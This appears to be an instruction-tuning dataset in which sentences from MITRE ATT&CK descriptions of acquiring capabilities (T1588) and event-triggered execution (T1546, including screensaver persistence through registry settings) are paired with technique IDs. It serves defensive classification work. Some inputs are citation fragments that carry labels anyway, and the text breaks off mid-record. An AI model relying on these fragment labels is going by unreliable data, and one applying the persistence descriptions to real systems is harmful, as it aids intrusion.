Instruction: List the MITRE techniques contained in the text. ### Input: A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is usually a delay between when a vulnerability is discovered and when it is made public.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is usually a delay between when a vulnerability is discovered and when it is made public. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors).", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download exploits that can be used during targeting.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download exploits that can be used during targeting. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation:", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wired SandCat Oct 2019)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wired SandCat Oct 2019) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is usually a delay between when an exploit is discovered and when it is made public.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is usually a delay between when an exploit is discovered and when it is made public. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are designed to instill trust.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are designed to instill trust. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise)", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download software tools that can be used during targeting.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download software tools that can be used during targeting. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be open or closed source, free or commercial.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be open or closed source, free or commercial. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors.", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", "output": "T1588.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). ### Response: T1588.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal code signing certificates that can be used during targeting.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal code signing certificates that can be used during targeting. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also steal code signing materials directly from a compromised third-party.", "output": "T1588.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also steal code signing materials directly from a compromised third-party. ### Response: T1588.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download malware that can be used during targeting.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download malware that can be used during targeting. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by user inactivity. ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver)", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations. ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to 